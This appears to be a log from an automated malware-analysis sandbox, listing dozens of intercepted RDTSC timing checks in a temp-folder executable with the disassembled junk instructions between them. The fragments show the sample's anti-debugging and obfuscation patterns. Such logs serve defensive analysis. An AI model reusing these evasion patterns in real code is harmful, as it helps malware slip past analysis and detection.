Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F6458A second address: 0000000000F645A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jne 00007FEBE0E5FDB6h 0x00000009 jnl 00007FEBE0E5FDB6h 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jl 00007FEBE0E5FDB6h 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F649EF second address: 0000000000F64A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FEBE0B1C461h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F64D07 second address: 0000000000F64D25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F64D25 second address: 0000000000F64D29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F6673A second address: 0000000000F6675A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FEBE0E5FDC9h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F6C3D0 second address: 0000000000F6C3DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FEBE0B1C456h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000F6DD19 second address: 0000000000F6DD23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E0015D second address: 0000000004E00161 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00161 second address: 0000000004E00174 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDBFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00174 second address: 0000000004E001B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C469h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c mov bh, ch 0x0000000e jmp 00007FEBE0B1C469h 0x00000013 popad 0x00000014 pop ebp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00488 second address: 0000000004E0048E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E0048E second address: 0000000004E00492 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0A61 second address: 0000000004DE0AB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEBE0E5FDC3h 0x00000009 xor ch, FFFFFFDEh 0x0000000c jmp 00007FEBE0E5FDC9h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 xchg eax, ebp 0x00000016 pushad 0x00000017 mov ax, di 0x0000001a mov si, di 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FEBE0E5FDBCh 0x00000027 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0AB1 second address: 0000000004DE0B1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEBE0B1C467h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push dword ptr [ebp+04h] 0x00000010 pushad 0x00000011 mov di, si 0x00000014 pushfd 0x00000015 jmp 00007FEBE0B1C460h 0x0000001a sbb esi, 593A4398h 0x00000020 jmp 00007FEBE0B1C45Bh 0x00000025 popfd 0x00000026 popad 0x00000027 push dword ptr [ebp+0Ch] 0x0000002a jmp 00007FEBE0B1C466h 0x0000002f push dword ptr [ebp+08h] 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0B1D second address: 0000000004DE0B21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0B21 second address: 0000000004DE0B25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0B25 second address: 0000000004DE0B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0BC7 second address: 0000000004DE0BCD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0BCD second address: 0000000004DE0C9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FEBE0E5FDC6h 0x00000011 push eax 0x00000012 pushad 0x00000013 call 00007FEBE0E5FDC1h 0x00000018 mov ch, FBh 0x0000001a pop edx 0x0000001b movzx esi, di 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 pushad 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FEBE0E5FDC1h 0x00000028 sbb eax, 06918AD6h 0x0000002e jmp 00007FEBE0E5FDC1h 0x00000033 popfd 0x00000034 call 00007FEBE0E5FDC0h 0x00000039 pop eax 0x0000003a popad 0x0000003b pushfd 0x0000003c jmp 00007FEBE0E5FDBBh 0x00000041 or ch, 0000000Eh 0x00000044 jmp 00007FEBE0E5FDC9h 0x00000049 popfd 0x0000004a popad 0x0000004b mov ebp, esp 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FEBE0E5FDC8h 0x00000056 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0C9E second address: 0000000004DE0CAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C45Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00218 second address: 0000000004E0021E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E0021E second address: 0000000004E00222 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00222 second address: 0000000004E0025D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDBDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FEBE0E5FDBEh 0x00000011 mov ebp, esp 0x00000013 jmp 00007FEBE0E5FDC0h 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E0025D second address: 0000000004E00263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00263 second address: 0000000004E00272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEBE0E5FDBBh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00272 second address: 0000000004E00276 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DD06AF second address: 0000000004DD06B5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DD06B5 second address: 0000000004DD06DB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FEBE0B1C468h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ebp, esp 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0CFA second address: 0000000004DE0D00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0D00 second address: 0000000004DE0D04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0D04 second address: 0000000004DE0D22 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FEBE0E5FDC3h 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0D22 second address: 0000000004DE0D44 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FEBE0B1C45Fh 0x00000008 pop ecx 0x00000009 movsx ebx, ax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0D44 second address: 0000000004DE0D61 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE0D61 second address: 0000000004DE0DD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 604F7962h 0x00000008 pushfd 0x00000009 jmp 00007FEBE0B1C463h 0x0000000e or ecx, 0777FA5Eh 0x00000014 jmp 00007FEBE0B1C469h 0x00000019 popfd 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov ebp, esp 0x0000001f jmp 00007FEBE0B1C45Eh 0x00000024 pop ebp 0x00000025 pushad 0x00000026 push eax 0x00000027 push edx 0x00000028 pushfd 0x00000029 jmp 00007FEBE0B1C45Ch 0x0000002e and esi, 1EDC1D88h 0x00000034 jmp 00007FEBE0B1C45Bh 0x00000039 popfd 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00E0A second address: 0000000004E00E10 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00E10 second address: 0000000004E00E8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FEBE0B1C45Bh 0x00000009 adc esi, 41F1326Eh 0x0000000f jmp 00007FEBE0B1C469h 0x00000014 popfd 0x00000015 push eax 0x00000016 pop edi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b jmp 00007FEBE0B1C45Ah 0x00000020 mov ebp, esp 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007FEBE0B1C45Dh 0x0000002b or esi, 7CC51956h 0x00000031 jmp 00007FEBE0B1C461h 0x00000036 popfd 0x00000037 call 00007FEBE0B1C460h 0x0000003c pop esi 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00E8C second address: 0000000004E00EA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEBE0E5FDC7h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DE087E second address: 0000000004DE08A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C45Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov si, 8E81h 0x0000000d popad 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEBE0B1C463h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00011 second address: 0000000004E00057 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FEBE0E5FDBEh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov si, 1053h 0x00000017 call 00007FEBE0E5FDC8h 0x0000001c pop eax 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00057 second address: 0000000004E0005D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E0005D second address: 0000000004E000C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDBAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FEBE0E5FDC0h 0x00000011 mov ebp, esp 0x00000013 jmp 00007FEBE0E5FDC0h 0x00000018 mov eax, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FEBE0E5FDBDh 0x00000024 sub esi, 24563AD6h 0x0000002a jmp 00007FEBE0E5FDC1h 0x0000002f popfd 0x00000030 movzx esi, bx 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DD0487 second address: 0000000004DD048B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DD048B second address: 0000000004DD048F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DD048F second address: 0000000004DD0495 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DD0495 second address: 0000000004DD04AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEBE0E5FDC1h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DD04AA second address: 0000000004DD0517 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b movsx ebx, ax 0x0000000e mov ax, 13CBh 0x00000012 popad 0x00000013 pop ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007FEBE0B1C463h 0x0000001d or ax, 24EEh 0x00000022 jmp 00007FEBE0B1C469h 0x00000027 popfd 0x00000028 pushfd 0x00000029 jmp 00007FEBE0B1C460h 0x0000002e add cx, 0C68h 0x00000033 jmp 00007FEBE0B1C45Bh 0x00000038 popfd 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E007ED second address: 0000000004E008C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b call 00007FEBE0E5FDBCh 0x00000010 pushfd 0x00000011 jmp 00007FEBE0E5FDC2h 0x00000016 add si, EC88h 0x0000001b jmp 00007FEBE0E5FDBBh 0x00000020 popfd 0x00000021 pop ecx 0x00000022 mov bx, 8ACCh 0x00000026 popad 0x00000027 push eax 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FEBE0E5FDC0h 0x0000002f or ch, FFFFFFE8h 0x00000032 jmp 00007FEBE0E5FDBBh 0x00000037 popfd 0x00000038 call 00007FEBE0E5FDC8h 0x0000003d call 00007FEBE0E5FDC2h 0x00000042 pop eax 0x00000043 pop edx 0x00000044 popad 0x00000045 xchg eax, ebp 0x00000046 push eax 0x00000047 push edx 0x00000048 pushad 0x00000049 mov eax, edi 0x0000004b pushfd 0x0000004c jmp 00007FEBE0E5FDBFh 0x00000051 add esi, 33013C3Eh 0x00000057 jmp 00007FEBE0E5FDC9h 0x0000005c popfd 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E008C8 second address: 0000000004E008CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E008CD second address: 0000000004E008ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov esi, edx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEBE0E5FDC1h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E008ED second address: 0000000004E00902 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C461h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E00902 second address: 0000000004E00912 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEBE0E5FDBCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20261 second address: 0000000004E20265 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20265 second address: 0000000004E20269 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20269 second address: 0000000004E2026F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E2026F second address: 0000000004E20275 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20275 second address: 0000000004E20279 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20279 second address: 0000000004E20293 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push dword ptr [ebp+08h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEBE0E5FDBBh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20293 second address: 0000000004E20299 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20299 second address: 0000000004E202BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 6385AD79h 0x0000000e pushad 0x0000000f mov dx, A762h 0x00000013 push eax 0x00000014 push edx 0x00000015 mov ch, dh 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20325 second address: 0000000004E20336 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dh, 17h 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 movzx eax, al 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20336 second address: 0000000004E2033C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E2033C second address: 0000000004E20342 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20342 second address: 0000000004E20351 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20351 second address: 0000000004E20362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C45Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004E20362 second address: 0000000004E20372 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEBE0E5FDBCh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E62257 second address: 0000000000E6225C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF003B second address: 0000000004DF010E instructions: 0x00000000 rdtsc 0x00000002 call 00007FEBE0E5FDC0h 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FEBE0E5FDBCh 0x00000013 jmp 00007FEBE0E5FDC5h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007FEBE0E5FDC0h 0x0000001f xor si, 9458h 0x00000024 jmp 00007FEBE0E5FDBBh 0x00000029 popfd 0x0000002a popad 0x0000002b mov dword ptr [esp], ebp 0x0000002e jmp 00007FEBE0E5FDC6h 0x00000033 mov ebp, esp 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FEBE0E5FDBEh 0x0000003c xor cx, A5E8h 0x00000041 jmp 00007FEBE0E5FDBBh 0x00000046 popfd 0x00000047 push eax 0x00000048 mov bl, 16h 0x0000004a pop eax 0x0000004b popad 0x0000004c and esp, FFFFFFF8h 0x0000004f pushad 0x00000050 mov esi, ebx 0x00000052 mov cl, bl 0x00000054 popad 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 pushfd 0x0000005a jmp 00007FEBE0E5FDBDh 0x0000005f and ecx, 17B0F2B6h 0x00000065 jmp 00007FEBE0E5FDC1h 0x0000006a popfd 0x0000006b popad 0x0000006c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF0248 second address: 0000000004DF0258 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEBE0B1C45Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF0258 second address: 0000000004DF02D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007FEC52F85EDBh 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007FEBE0E5FDC4h 0x00000018 jmp 00007FEBE0E5FDC5h 0x0000001d popfd 0x0000001e movzx ecx, di 0x00000021 popad 0x00000022 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c pushfd 0x0000002d jmp 00007FEBE0E5FDC4h 0x00000032 jmp 00007FEBE0E5FDC5h 0x00000037 popfd 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF02D6 second address: 0000000004DF02DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000004DF02DB second address: 0000000004DF02F9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov ax, bx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov ecx, esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FEBE0E5FDBEh 0x00000015 rdtsc
